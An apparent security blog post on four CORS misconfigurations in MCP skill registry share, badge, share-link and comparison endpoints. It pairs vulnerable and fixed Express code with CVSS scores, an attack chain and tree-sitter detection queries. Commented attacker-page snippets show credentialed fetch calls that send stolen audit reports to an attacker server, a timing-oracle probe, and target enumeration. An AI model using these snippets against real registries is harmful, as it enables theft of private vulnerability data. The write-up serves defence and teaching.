CORS Misconfigurations in MCP Skill Registry Audit Report Sharing and Public Badge Endpoints
Audit report sharing and public badge endpoints in MCP skill registries occupy a uniquely dangerous position in the CORS threat landscape: they deliberately straddle the boundary between authenticated private data and unauthenticated public display, and that boundary confusion is exactly what produces the SA-SKL-CORS31 vulnerability class. The four patterns documented here escalate from metadata leak on a badge SVG endpoint all the way to full private audit report exfiltration using the victim's session cookie — and they chain together into a reconnaissance-then-steal attack that requires nothing more than convincing a logged-in developer to visit a page under attacker control.
In this post
- Why dual-mode (authenticated + public) endpoints are CORS critical surfaces
- CORS31-001 — Origin reflection on share endpoint leaks full private audit reports cross-origin
- CORS31-002 — Wildcard ACAO on badge endpoint exposes cached audit metadata in response headers
- CORS31-003 — Origin reflection before ownership check on share link generation creates timing oracle
- CORS31-004 — Wildcard ACAO on report comparison endpoint leaks findings from both reports
- Compound attack chain: badge metadata enumeration → full report theft → comparison to isolate novel findings
- Detection with AST queries
- Summary and checklist
GET /api/audits/:id/share uses cors({origin:true,credentials:true}) reflecting any Origin as ACAO; attacker page reads the full private audit report — vulnerability list, severity scores, affected component paths, and remediation hints — cross-origin using the victim's session cookieGET /badge/:skillId has ACAO: * and also serves cached audit metadata (last scan timestamp, letter grade, severity breakdown, vulnerability counts) in the X-Audit-Meta response header and a JSON variant; any attacker origin reads this cross-origin without credentialsPOST /api/audits/:id/share-link reflects Origin into ACAO before the ownership check; timing difference between existing and non-existing audit IDs acts as an oracle revealing audit record existence across all orgs without authenticationGET /api/audits/compare has ACAO: *; any attacker origin reads the structured diff of two audit reports by ID, leaking all findings from both reports cross-origin even without possessing the session cookieWhy dual-mode (authenticated + public) endpoints are CORS critical surfaces
Most CORS vulnerabilities in MCP registries follow a predictable pattern: a developer applies permissive CORS to an endpoint that should be restricted, reasoning that the endpoint is "public enough" or that the data it returns is "not really sensitive." The CORS31 class is more subtle because it arises from a genuine architectural tension. Badge endpoints and share links genuinely do need to be accessible cross-origin — that is their entire purpose. A <img> tag embedding a badge SVG from a third-party registry must be able to fetch it cross-origin. A documentation site linking to a shared audit report must be able to load it cross-origin. The developer reasoning is not wrong, but the implementation boundary is drawn in the wrong place.
The critical distinction is between the badge image itself (or the public share view) and the authenticated API that generates or augments it. A badge SVG containing only a letter grade and color is legitimately public. The same endpoint that serves that SVG while also injecting the last scan timestamp, vulnerability counts, and severity breakdown into an X-Audit-Meta response header is leaking private audit intelligence through a public cross-origin channel. Similarly, a share link that grants view access to a sanitized subset of an audit report is a legitimate feature; the same endpoint serving the full raw report — remediation hints, internal severity notes, affected file paths — to any origin presenting the victim's session cookie is a critical information-disclosure vulnerability.
Three design patterns recur as root causes in CORS31-class findings. First, teams add ACAO: * to the badge endpoint because it is genuinely a public image route and forget that the same route also serves a JSON variant with richer metadata. Second, teams copy the share-link endpoint from an internal admin tool that used cors({origin:true}) to serve multiple internal dashboards, and deploy it to the public registry without replacing the permissive origin configuration with an explicit allowlist. Third, teams implement CORS header emission inside the route handler rather than as middleware, which creates subtle ordering bugs where the CORS header is emitted before authorization checks run — producing timing oracles that survive even after the wildcard or reflection is replaced with an allowlist.
CORS31-001 — Origin reflection on share endpoint leaks full private audit reports cross-origin
The audit report share endpoint GET /api/audits/:id/share is intended to allow team members within the same organization to view audit reports by navigating to a share URL. The endpoint authenticates via session cookie, verifies that the requesting user belongs to the organization that owns the audit, and returns the full report payload including the structured vulnerability list, per-finding severity scores (CVSS vectors and computed scores), affected component file paths, remediation guidance text, and internal triage notes. This is among the most sensitive data in the entire registry for security-conscious teams: a detailed vulnerability report for a production MCP skill includes not just the fact of a vulnerability but the precise exploitation path, the affected code location, and the remediation steps the team is planning to take.
The endpoint uses cors({origin:true,credentials:true}) applied at the router level to serve both the main application at app.skillaudit.dev and the team's embedded documentation portal at docs.internal.example.com. The developer used origin:true to avoid hardcoding the documentation portal domain (which changes with each deployment environment) and planned to refactor to an explicit allowlist after the documentation integration was stabilized. That refactor was never scheduled.
// CORS31-001 — VULNERABLE
// cors({origin:true,credentials:true}) reflects any Origin as ACAO with credentials.
// Any attacker page can read the full private audit report using the victim's session cookie.
// audits/router.js
const cors = require('cors');
router.get(
'/:id/share',
cors({ origin: true, credentials: true }), // VULNERABLE: origin:true reflects all origins
requireSession,
requireOrgMembership, // ownership check runs — but CORS already emitted
async (req, res) => {
const audit = await db.audits.findById(req.params.id);
if (!audit) return res.status(404).json({ error: 'Audit not found' });
// Returns the FULL audit report including sensitive remediation details
res.json({
id: audit.id,
skillId: audit.skillId,
grade: audit.grade,
scannedAt: audit.scannedAt,
findings: audit.findings.map(f => ({
id: f.id,
title: f.title,
severity: f.severity, // CVSS score and vector — attacker learns exact exploitability
cvss: f.cvssVector,
affectedPath: f.affectedPath, // internal file path of the vulnerable component
description: f.description,
remediation: f.remediation, // remediation hints — reveals patching plan to attacker
status: f.status, // 'open' | 'in_progress' | 'resolved' — reveals triage state
internalNotes: f.internalNotes, // team's private triage notes
})),
summary: audit.summary,
});
}
);
// Attacker page (any origin):
// fetch('https://registry.example.com/api/audits/550e8400-e29b-41d4-a716-446655440000/share', {
// credentials: 'include'
// })
// .then(r => r.json())
// .then(report => {
// // Full vulnerability list, CVSS scores, file paths, remediation hints, internal notes
// // exfiltrated without the victim's knowledge
// sendToAttackerServer(report);
// });
Why remediation hints and internal notes are the most sensitive data in the response: An attacker who reads a team's audit report gains not just a list of known vulnerabilities but the team's remediation roadmap. Remediation hints describe exactly what code change is needed to fix each finding; internal notes reveal which vulnerabilities the team considers a priority, which are deferred, and what mitigations are in place. This information is significantly more valuable than a generic CVE disclosure because it is specific to the target's codebase and reveals their defensive posture. An attacker armed with this data can target unpatched vulnerabilities precisely, time attacks to coincide with deferred remediation windows, and avoid triggering mitigations the team has explicitly documented.
// CORS31-001 — FIXED
// 1. Explicit Set-based allowlist — not origin:true.
// 2. Strip remediation hints, internal notes, and affected paths from share preview.
// 3. Use an opaque share token (separate from the authenticated session) for public share view.
// 4. Keep the full authenticated endpoint on a separate route with strict allowlist.
// config/cors.js
const ALLOWED_ORIGINS = new Set([
'https://app.skillaudit.dev',
'https://skillaudit.dev',
'https://docs.internal.example.com', // documented explicitly per environment
]);
const auditCorsOptions = {
origin: (origin, callback) => {
if (!origin || ALLOWED_ORIGINS.has(origin)) return callback(null, true);
callback(Object.assign(new Error('CORS: origin not allowed'), { status: 403 }));
},
credentials: true,
methods: ['GET', 'POST', 'OPTIONS'],
allowedHeaders: ['Content-Type', 'Authorization', 'X-CSRF-Token'],
};
module.exports = { auditCorsOptions };
// audits/router.js
const { auditCorsOptions } = require('../config/cors');
// Public share preview — no credentials, no sensitive fields, opaque token
router.get(
'/share/:shareToken',
// No CORS restriction needed — public endpoint, no credentials, no sensitive data
async (req, res) => {
const share = await db.auditShares.findByToken(req.params.shareToken);
if (!share || share.expiresAt < new Date()) {
return res.status(404).json({ error: 'Share link not found or expired' });
}
const audit = await db.audits.findById(share.auditId);
// Strip all sensitive fields from share preview
res.json({
id: audit.id,
skillId: audit.skillId,
grade: audit.grade,
scannedAt: audit.scannedAt,
findingCount: audit.findings.length,
severityBreakdown: audit.severityBreakdown, // counts only — not details
findings: audit.findings.map(f => ({
id: f.id,
title: f.title,
severity: f.severity,
// affectedPath, remediation, internalNotes are NOT included in share preview
})),
});
}
);
// Authenticated full report — strict allowlist, credentials required
router.get(
'/:id/full',
cors(auditCorsOptions), // explicit allowlist — not origin:true
requireSession,
requireOrgMembership,
async (req, res) => {
const audit = await db.audits.findByIdAndOrg(req.params.id, req.session.orgId);
if (!audit) return res.status(404).json({ error: 'Audit not found' });
res.json(audit); // full payload only on authenticated, org-verified route
}
);
Separating the opaque share token from the authenticated share endpoint: The architectural fix above separates the share mechanism into two independent routes: an authenticated route at /api/audits/:id/full that requires session and org membership and serves the full payload, and a public route at /api/audits/share/:shareToken that accepts an opaque token (generated on share link creation), returns only a sanitized preview, and carries no CORS credentials requirement at all. The opaque token approach means the public share URL cannot be guessed by enumeration even if the underlying audit ID is predictable, and the sanitized payload means that even if the opaque token is leaked, no remediation guidance or internal notes are exposed.
CVSS 3.1 approximate score for CORS31-001: 9.3 (CRITICAL) — AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N. Scope is Changed because the leaked remediation hints and internal notes affect the security of downstream systems that the audit covers. Confidentiality is High because the full vulnerability report — including CVSS vectors, file paths, and remediation roadmaps — represents the totality of the organization's private security posture for the audited skill.
CORS31-002 — Wildcard ACAO on badge endpoint exposes cached audit metadata in response headers
The public badge endpoint GET /badge/:skillId serves an SVG image displaying the security grade of a published MCP skill. Badge endpoints are a common feature of registries and package managers: they are intentionally cross-origin accessible so that README files, documentation pages, and third-party listings can embed the badge without CORS restrictions. The badge at /badge/my-skill is legitimately a public resource and legitimately should carry ACAO: * to allow any page to embed it as an image.
The vulnerability arises because the badge endpoint was extended to also serve cached audit metadata in a response header called X-Audit-Meta and to respond with a full JSON payload when the caller sets Accept: application/json. The X-Audit-Meta header contains a JSON blob including the last scan timestamp, the numeric letter grade (A through F), the counts of critical, high, medium, and low severity findings, and the total vulnerability count. The JSON variant additionally includes grade details with the weighted scoring breakdown and the specific finding categories contributing to the grade. Because the endpoint already has ACAO: *, all of this metadata is readable by any cross-origin page via a simple fetch() call, without credentials.
The practical impact of the metadata leak goes beyond simple information disclosure. An attacker can use the totalFindings and criticalCount fields to enumerate skill IDs with high-severity findings and prioritize them for further attack. Skills with grades of D or F and high critical counts are obvious targets for more aggressive exploitation of other vulnerabilities. The last scan timestamp allows the attacker to identify skills that have not been rescanned recently, suggesting that security posture information is stale and that newly discovered vulnerabilities may not yet be tracked. The severity breakdown allows the attacker to infer the attack surface of the skill without requiring any authenticated access to the full report.
// CORS31-002 — VULNERABLE
// ACAO:* is correct for the badge SVG but is also applied to the metadata header and JSON variant.
// Any cross-origin page can read full audit metadata without credentials.
// badge/router.js
const express = require('express');
const router = express.Router();
router.get('/:skillId', async (req, res) => {
res.header('Access-Control-Allow-Origin', '*'); // VULNERABLE when combined with metadata headers
res.header('Vary', 'Accept');
const skill = await db.skills.findBySlug(req.params.skillId);
if (!skill) return res.status(404).send('Not found');
const latestAudit = await db.audits.findLatestBySkillId(skill.id, { cached: true });
// VULNERABLE: X-Audit-Meta exposes private audit intelligence cross-origin
res.header('X-Audit-Meta', JSON.stringify({
lastScannedAt: latestAudit.scannedAt, // reveals scan recency — staleness oracle
grade: latestAudit.grade, // A/B/C/D/F
gradeScore: latestAudit.gradeScore, // numeric score
criticalCount: latestAudit.criticalCount, // reveals high-severity exposure
highCount: latestAudit.highCount,
mediumCount: latestAudit.mediumCount,
lowCount: latestAudit.lowCount,
totalFindings: latestAudit.totalFindings, // total vulnerability count
}));
if (req.accepts('json')) {
// VULNERABLE: full JSON variant includes scoring breakdown
return res.json({
skillId: skill.id,
grade: latestAudit.grade,
gradeScore: latestAudit.gradeScore,
gradingBreakdown: latestAudit.gradingBreakdown, // per-category scores
findings: {
critical: latestAudit.criticalCount,
high: latestAudit.highCount,
medium: latestAudit.mediumCount,
low: latestAudit.lowCount,
total: latestAudit.totalFindings,
},
lastScannedAt: latestAudit.scannedAt,
});
}
// SVG badge — only the grade letter is visible in the image
const svg = generateBadgeSvg(latestAudit.grade, latestAudit.gradeScore);
res.type('image/svg+xml').send(svg);
});
// Attacker page — no credentials needed, any origin:
// fetch('https://registry.example.com/badge/target-skill', {
// headers: { Accept: 'application/json' }
// })
// .then(r => r.json())
// .then(meta => {
// // criticalCount, highCount, gradeScore, lastScannedAt all exposed cross-origin
// if (meta.findings.critical > 0) addToTargetList(meta.skillId);
// });
Why X-Audit-Meta is readable even without reading the response body: When a cross-origin page fetches https://registry.example.com/badge/skill-name using the Fetch API, the browser's CORS handling allows it to read the response body only because ACAO: * is present. But the X-Audit-Meta header is also readable when CORS allows the response — and unlike the body, headers are transferred and processed before the page even evaluates whether to consume the body. An attacker page that fires the fetch and reads response.headers.get('X-Audit-Meta') receives the full metadata JSON without touching the SVG body at all. This is a common blind spot in security reviews: developers who review body content for sensitive data often overlook what their CORS-permissive endpoints leak through non-standard response headers.
// CORS31-002 — FIXED
// 1. Badge SVG carries ACAO:* but contains ONLY the grade letter — no metadata.
// 2. Remove X-Audit-Meta header entirely from the public badge endpoint.
// 3. Remove JSON variant from the badge endpoint.
// 4. Provide audit metadata only via the authenticated API with explicit CORS allowlist.
// badge/router.js
router.get('/:skillId', async (req, res) => {
// ACAO:* is correct for the public SVG image — but only the SVG
res.header('Access-Control-Allow-Origin', '*');
res.header('Vary', 'Accept');
const skill = await db.skills.findBySlug(req.params.skillId);
if (!skill) return res.status(404).send('Not found');
const latestAudit = await db.audits.findLatestBySkillId(skill.id, { cached: true });
if (!latestAudit) return res.status(404).send('Not found');
// SVG contains ONLY the grade letter — no metadata headers, no JSON variant
// Grade letter (A/B/C/D/F) is considered public information for published skills
const svg = generateBadgeSvg(latestAudit.grade);
res.type('image/svg+xml')
// No X-Audit-Meta header
// No JSON variant
.send(svg);
});
// Authenticated metadata endpoint — strict CORS allowlist, credentials required
// audits/router.js
const { auditCorsOptions } = require('../config/cors');
router.get(
'/:id/metadata',
cors(auditCorsOptions), // explicit allowlist — not ACAO:*
requireSession,
requireOrgMembership,
async (req, res) => {
const audit = await db.audits.findByIdAndOrg(req.params.id, req.session.orgId);
if (!audit) return res.status(404).json({ error: 'Audit not found' });
res.json({
grade: audit.grade,
gradeScore: audit.gradeScore,
gradingBreakdown: audit.gradingBreakdown,
findings: {
critical: audit.criticalCount,
high: audit.highCount,
medium: audit.mediumCount,
low: audit.lowCount,
total: audit.totalFindings,
},
lastScannedAt: audit.scannedAt,
});
}
);
The right mental model for dual-mode badge endpoints: A public badge endpoint should be designed as if it will be embedded as a <img> tag on any page on the internet — because it will be. That means the response body must contain only information the organization is willing to publish to the entire internet. The grade letter is typically acceptable (teams choose to display it publicly). The vulnerability counts, severity breakdown, scan recency, and grading details are typically not acceptable — they are business-sensitive security intelligence that belongs behind authentication. When these two categories are conflated into a single endpoint with ACAO: *, the more sensitive category is implicitly published to the entire internet.
CVSS 3.1 approximate score for CORS31-002: 7.5 (HIGH) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N. No user interaction is required because the badge endpoint is a public GET request that any script can fire without victim participation. Confidentiality is High because the metadata payload enables targeted attack planning against specific skills with known high-severity vulnerabilities.
CORS31-003 — Origin reflection before ownership check on share link generation creates timing oracle
The share link generation endpoint POST /api/audits/:id/share-link creates an opaque share token for a specific audit report and returns a shareable URL. The endpoint is intended for use by authenticated users who want to share a report with an external reviewer who does not have a registry account. CORS handling is applied inside the route handler (rather than as middleware) in order to allow the endpoint to serve different error messages to known vs. unknown origins. This placement means the CORS header is emitted inside the route handler before the ownership check executes, creating a timing oracle.
The timing oracle works as follows: for an audit ID that does not exist in the database at all, the route handler performs a quick lookup, finds nothing, and returns a 404. For an audit ID that exists but belongs to a different organization, the handler performs the lookup, finds the record, and then runs the ownership check, adding a small but measurable delta to the response latency. For an audit ID that belongs to the requesting user's organization, the handler performs the lookup, runs the ownership check, and then executes the share token generation and insertion, adding further latency. Because the CORS header (Access-Control-Allow-Origin: <attacker-origin>) is emitted before any of these checks run, the attacker's cross-origin page can fire many requests and measure the response timing to classify audit IDs into three buckets: does not exist, exists but not owned, exists and owned.
Even though the attacker cannot read the response body (the browser will block it if the ownership check fails and returns a 403), the CORS header is already emitted before the ownership check, so the preflight response timing carries the signal. By scanning a range of audit IDs, the attacker builds a complete map of which audit records exist across all organizations in the registry, independent of which organization they belong to. This enumeration capability is a prerequisite for the CORS31-001 attack: the attacker first uses CORS31-002 to identify high-value skill IDs, then uses CORS31-003 to confirm which audit IDs are associated with those skills, and finally uses CORS31-001 to steal the full report.
// CORS31-003 — VULNERABLE
// CORS header emitted inside handler before ownership check.
// Timing difference between code paths leaks audit record existence cross-origin.
// audits/router.js
router.post(
'/:id/share-link',
requireSession,
async (req, res) => {
// VULNERABLE: Origin reflected into ACAO before ownership check runs
// All three code paths (not found / found not owned / found owned) have different latencies
// but all emit ACAO header — attacker measures preflight timing for each path
res.header('Access-Control-Allow-Origin', req.headers.origin || '*');
res.header('Access-Control-Allow-Credentials', 'true');
res.header('Vary', 'Origin');
// DB lookup timing: fast for non-existent IDs, slightly slower for found IDs
const audit = await db.audits.findById(req.params.id);
if (!audit) {
// Path 1: audit not found — fastest response (no ownership check)
return res.status(404).json({ error: 'Audit not found' });
}
// Path 2: audit found, ownership check — measurably slower than Path 1
if (audit.orgId !== req.session.orgId) {
return res.status(403).json({ error: 'Forbidden' });
}
// Path 3: owned audit, generate token — slowest (crypto + DB insert)
const token = crypto.randomBytes(32).toString('hex');
const expiresAt = new Date(Date.now() + 7 * 24 * 60 * 60 * 1000);
await db.auditShares.create({ auditId: audit.id, token, expiresAt });
res.json({
shareUrl: `https://skillaudit.dev/shared/${token}`,
expiresAt,
});
}
);
// Timing oracle measurement — attacker page:
// async function measureAuditPath(auditId) {
// const start = performance.now();
// try {
// await fetch(`https://registry.example.com/api/audits/${auditId}/share-link`, {
// method: 'POST', credentials: 'include',
// headers: { 'Content-Type': 'application/json' }
// });
// } catch {}
// return performance.now() - start;
// }
// // Timing delta between paths: ~0–2ms (not found) vs ~5–15ms (found, not owned) vs ~50–80ms (owned)
Timing oracle across all organizations, not just the attacker's own: The CORS31-003 oracle is particularly powerful because it is not limited to the attacker's own organization. The attacker does not need to be authenticated to the target organization to enumerate audit IDs belonging to it. Any authenticated session (even the attacker's own free-tier account) can be used to fire the POST requests and measure timing. The oracle reveals which numeric or UUID audit IDs are populated across the entire platform — not just within the requesting organization — because the ownership check is the second gate, not the first. For platforms using sequential integer audit IDs, this oracle maps the entire audit ID space with high reliability.
The ASCII timing diagram below illustrates the three measurable response latency profiles for the vulnerable implementation:
CORS31-003 — Timing Oracle: Response Latency by Audit ID Code Path
=======================================================================
Request fires POST /api/audits/:id/share-link
PATH 1: Audit ID does not exist
─────────────────────────────────────────────────────────────────────
[CORS header emitted] ──► [DB lookup: 0 rows] ──► [404 response]
│◄──────────────────────────────────────────────────────────────────►│
~2–5 ms total
PATH 2: Audit ID exists, owned by a DIFFERENT org
─────────────────────────────────────────────────────────────────────
[CORS header emitted] ──► [DB lookup: 1 row] ──► [ownership check]
│
[403 response]
│◄──────────────────────────────────────────────────────────────────►│
~8–18 ms total (+6–13 ms delta vs Path 1)
PATH 3: Audit ID exists, owned by the REQUESTING org
─────────────────────────────────────────────────────────────────────
[CORS header emitted] ──► [DB lookup] ──► [ownership check: pass]
│
[crypto.randomBytes(32)]
│
[DB INSERT auditShares]
│
[200 JSON response]
│◄──────────────────────────────────────────────────────────────────►│
~55–90 ms total (+50–85 ms delta vs Path 1)
Observable from attacker origin:
- ACAO header is emitted in ALL THREE paths before any check runs
- Browser measures time-to-response (blocked or not) from same origin
- Measurement: <10ms → not found │ 10–40ms → found, not owned │ >40ms → found, owned
- Statistical confidence after 5–10 repeated measurements: >95% classification accuracy
=======================================================================
// CORS31-003 — FIXED
// 1. Apply cors() as middleware at route registration — headers set before handler logic, uniformly.
// 2. Auth and ownership check BEFORE any differentiating logic (combined DB query).
// 3. Constant-time 404 response for both not-found and not-owned (no timing oracle).
// 4. CSRF token as defence-in-depth.
const cors = require('cors');
const { auditCorsOptions } = require('../config/cors');
router.options('/:id/share-link', cors(auditCorsOptions));
router.post(
'/:id/share-link',
cors(auditCorsOptions), // CORS headers set by middleware BEFORE handler runs — no timing signal
requireSession,
verifyCsrfToken,
requireContentType('application/json'),
async (req, res) => {
// Combined lookup + ownership check in a single query — eliminates timing delta between paths
// Returns null for both not-found and not-owned — no timing difference between the two
const audit = await db.audits.findByIdAndOrg(req.params.id, req.session.orgId);
if (!audit) {
// Constant-time 404 — same response shape for not-found and not-owned
return res.status(404).json({ error: 'Audit not found' });
}
// Only reached for owned audits — no timing signal leaks existence of non-owned audits
const token = crypto.randomBytes(32).toString('hex');
const expiresAt = new Date(Date.now() + 7 * 24 * 60 * 60 * 1000);
await db.auditShares.create({ auditId: audit.id, token, expiresAt });
res.json({
shareUrl: `https://skillaudit.dev/shared/${token}`,
expiresAt,
});
}
);
Why cors() middleware ordering eliminates the timing oracle: When cors(auditCorsOptions) is applied as a middleware argument at route registration time (as above), the CORS middleware executes and emits its headers before the route handler function body begins executing. The CORS header emission latency is therefore constant across all code paths — it does not vary based on whether the audit exists, is owned, or neither. The subsequent timing variation between the combined-query hit and miss paths is typically sub-millisecond and statistically indistinguishable from network jitter. This is a secondary reason — beyond the allowlist vs. reflection distinction — to always use cors(options) as a middleware argument rather than res.header() calls inside handlers.
CVSS 3.1 approximate score for CORS31-003: 5.3 (MEDIUM) — AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N. Attack Complexity is High because the oracle requires statistical measurement across many requests and controlled network conditions. Privileges Required is Low because a free-tier account session is sufficient. Confidentiality is Low because only audit existence and ownership information is leaked, not report content.
CORS31-004 — Wildcard ACAO on report comparison endpoint leaks findings from both reports
The report comparison endpoint GET /api/audits/compare accepts two audit IDs as query parameters (?a=<id>&b=<id>) and returns a structured diff of the findings across the two reports. The diff includes findings present in report A but not B (new regressions since report B), findings present in report B but not A (resolved since report B), and findings present in both with changed severity scores. This endpoint was originally designed to allow teams to track remediation progress between consecutive audit runs of the same skill.
The endpoint has ACAO: * applied via a blanket middleware that was added to the entire audits router during a debugging session. The developer added the wildcard to diagnose a CORS error in a third-party analytics dashboard that consumed the comparison endpoint and removed the middleware after the session, but a copy of the middleware call remained in a router-level setup block that the code review missed. The result is that any attacker origin can fetch GET /api/audits/compare?a=<id>&b=<id> without credentials and receive the full diff payload for any two audit reports by ID, even if both reports belong to private organizations.
The absence of a credential requirement makes this finding different in character from CORS31-001: an attacker does not need to trick a victim into visiting a page. The attacker can fire the comparison request directly from any origin, at any time, without any user interaction. Combined with the CORS31-003 timing oracle (which enumerates valid audit IDs), an attacker can compare any private audit report against any public audit report to isolate the private report's unique findings. If the target organization's skill is a fork of a public open-source skill that has a public audit, the comparison diff will reveal exactly which private security vulnerabilities the target has introduced that are not present in the public version.
// CORS31-004 — VULNERABLE
// ACAO:* on comparison endpoint — no credentials required.
// Any origin reads the structured diff of two private audit reports by ID.
// audits/router.js — router-level wildcard inadvertently applied
const express = require('express');
const router = express.Router();
// VULNERABLE: wildcard applied to entire router during debugging, not fully removed
router.use((req, res, next) => {
res.header('Access-Control-Allow-Origin', '*'); // should have been removed after debug session
next();
});
// GET /api/audits/compare?a=:auditIdA&b=:auditIdB
router.get('/compare', async (req, res) => {
const { a, b } = req.query;
if (!a || !b) return res.status(422).json({ error: 'Missing audit IDs' });
// No authentication check — wildcard + no credentials = no auth needed
const [auditA, auditB] = await Promise.all([
db.audits.findById(a),
db.audits.findById(b),
]);
if (!auditA || !auditB) return res.status(404).json({ error: 'Audit not found' });
// Both full findings payloads exposed in the diff — attacker reads all findings from both reports
const diff = computeAuditDiff(auditA, auditB);
res.json(diff);
// diff includes:
// added: findings in A not in B — new regressions including titles, severities, file paths
// removed: findings in B not in A — resolved vulnerabilities (confirms remediation was done)
// changed: findings in both with different severity scores
});
// Attacker — no victim interaction needed:
// fetch('https://registry.example.com/api/audits/compare?a=private-org-audit-id&b=public-audit-id')
// .then(r => r.json())
// .then(diff => {
// // diff.added contains all private org vulnerabilities not in the public audit
// // This isolates exactly which novel security flaws the target org has introduced
// analyzePrivateVulnerabilities(diff.added);
// });
Why comparing against a known public audit amplifies the information gain: When an attacker compares a target organization's private audit against a known public audit of the same base skill, the added array in the diff contains precisely the vulnerabilities that are unique to the target's deployment — vulnerabilities the target introduced through their own code changes, configuration, or dependencies. This is a dramatically higher-quality intelligence payload than reading the full report blindly, because it pre-filters out the base-level findings that are already publicly known and isolates the target-specific attack surface. For a fork-based skill (common in MCP registry ecosystems), this comparison can be constructed from two public audit IDs to validate the attack before using the refined finding list to target the private report.
// CORS31-004 — FIXED
// 1. Remove router-level wildcard — apply explicit allowlist per-route.
// 2. Require authentication (session or Bearer token).
// 3. Ownership check: requesting user must own BOTH audit reports.
// 4. Rate limit to slow enumeration even if ownership check is bypassed.
const cors = require('cors');
const { auditCorsOptions } = require('../config/cors');
const rateLimit = require('express-rate-limit');
const compareRateLimit = rateLimit({
windowMs: 60 * 1000,
max: 30,
keyGenerator: (req) => `compare:${req.session?.userId || req.ip}`,
});
router.get(
'/compare',
cors(auditCorsOptions), // explicit allowlist — not router-level wildcard
compareRateLimit,
requireSession, // must be authenticated
async (req, res) => {
const { a, b } = req.query;
if (!a || !b) return res.status(422).json({ error: 'Missing audit IDs' });
// Ownership check for BOTH reports — user must own both to compare them
const [auditA, auditB] = await Promise.all([
db.audits.findByIdAndOrg(a, req.session.orgId),
db.audits.findByIdAndOrg(b, req.session.orgId),
]);
// Constant-time 404 for both not-found and not-owned cases
if (!auditA || !auditB) {
return res.status(404).json({ error: 'One or both audits not found' });
}
const diff = computeAuditDiff(auditA, auditB);
res.json(diff);
}
);
Ownership check for both IDs in comparison endpoints: Comparison and diff endpoints introduce a unique ownership challenge: the standard "find by ID and org" pattern must be applied to every resource ID in the request, not just one. A common half-fix is to add an ownership check only on the first audit ID, leaving the second ID readable by any authenticated user regardless of which org it belongs to. The correct pattern is a combined ownership check on both IDs in a single query batch, with a consistent 404 response for any combination where either ID is missing or not owned — preventing an attacker from using the endpoint as a cross-org data reader by owning one of the two IDs.
CVSS 3.1 approximate score for CORS31-004: 7.5 (HIGH) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N. No authentication or user interaction is required. Confidentiality is High because the full finding details from both audit reports are exposed, and the diff format amplifies attacker intelligence by isolating novel private vulnerabilities when compared against a known public baseline.
Compound attack chain: badge metadata enumeration → full report theft → comparison to isolate novel findings
The four SA-SKL-CORS31 misconfigurations compose into a three-stage attack chain that escalates from unauthenticated metadata enumeration to full private audit report exfiltration with finding isolation. The chain begins with no credentials at all (CORS31-002), acquires target intelligence using the timing oracle (CORS31-003 as a supplement), steals the full report using the victim's session (CORS31-001), and then amplifies the value of the stolen report by isolating novel findings using the comparison endpoint (CORS31-004). Each step provides information that makes the next step more targeted and less detectable.
GET /badge/:skillId with Accept: application/json, and reads the X-Audit-Meta header cross-origin. Skills with criticalCount > 0 and low gradeScore values are flagged as high-value targets. The lastScannedAt field identifies skills whose audit is stale, suggesting untracked recent vulnerabilities. This step requires no credentials and no victim interaction.fetch() to GET /api/audits/:id/share for each flagged audit ID. The Origin-reflecting CORS configuration returns the full report payload — vulnerability list with CVSS scores, affected file paths, remediation hints, and internal triage notes — in the response body, which the attacker page reads cross-origin. The victim receives no browser warning.GET /api/audits/compare?a=<private-audit-id>&b=<public-audit-id> without credentials. The public audit ID is the most recent public audit of the upstream open-source skill the target forked. The added array in the diff isolates precisely those vulnerabilities that are unique to the target's private fork — the ones the target introduced through their own code or configuration. This filtered list represents the highest-confidence attack surface for a targeted exploitation campaign against the target's production deployment.The attack chain is particularly difficult to detect in retrospect because each individual step produces log entries that appear legitimate in isolation. The badge endpoint GET is a normal public image fetch. The share endpoint GET is a normal report view by a team member (the CORS reflection is not visible in server-side logs). The comparison GET is a normal diff request. Without correlating the cross-origin nature of the requests (which requires application-layer CORS logging beyond what standard access logs capture), the attack leaves no anomalous signal in the target's logs. Registry operators should log the Origin header value alongside every audit-related request and alert on combinations where Origin values are not in the allowed set for credentialed requests.
Detection with AST queries
SkillAudit detects all four CORS31 patterns using a combination of static analysis AST queries and dynamic cross-origin probe requests. The AST queries target the specific implementation patterns that produce each vulnerability class in Express.js codebases. The dynamic probes fire synthetic cross-origin requests against each endpoint class and validate that the response headers and body are consistent with an explicit allowlist policy.
; CORS31-001 — Detect cors({origin:true,credentials:true}) on audit share routes
; tree-sitter query for JavaScript
(call_expression
function: (identifier) @fn (#eq? @fn "cors")
arguments: (arguments
(object
(pair
key: (property_identifier) @origin_key (#eq? @origin_key "origin")
value: (true) @origin_val)
(pair
key: (property_identifier) @cred_key (#eq? @cred_key "credentials")
value: (true) @cred_val))))
; CORS31-002 and CORS31-004 — Detect router-level or route-level res.header ACAO:*
; Flags both handler-level and router.use() wildcard patterns
(call_expression
function: (member_expression
object: (identifier) @obj (#match? @obj "^(res|router)$")
property: (property_identifier) @method
(#match? @method "^(header|setHeader|set|use)$"))
arguments: (arguments
(string) @header_name
(#match? @header_name "(?i)access-control-allow-origin")
(string) @header_value
(#eq? @header_value "*")))
; CORS31-003 — Detect res.header ACAO with request origin before ownership check
; Flags res.header('Access-Control-Allow-Origin', req.headers.origin) patterns inside handlers
(call_expression
function: (member_expression
object: (identifier) @res (#eq? @res "res")
property: (property_identifier) @method (#match? @method "^(header|setHeader)$"))
arguments: (arguments
(string) @name (#match? @name "(?i)access-control-allow-origin")
(member_expression
object: (member_expression
object: (identifier) @req (#eq? @req "req")
property: (property_identifier) @headers (#eq? @headers "headers"))
property: (property_identifier) @field (#eq? @field "origin"))))
; CORS31-004 — Detect comparison/diff routes without requireSession middleware
; Flags route registrations matching /compare/ path with no auth middleware argument
(call_expression
function: (member_expression
object: (identifier) @router (#eq? @router "router")
property: (property_identifier) @method (#match? @method "^(get|post)$"))
arguments: (arguments
(string) @path (#match? @path "compare|diff")
(arrow_function) @handler))
; Note: absence of requireSession/requireAuth between path and handler indicates missing auth
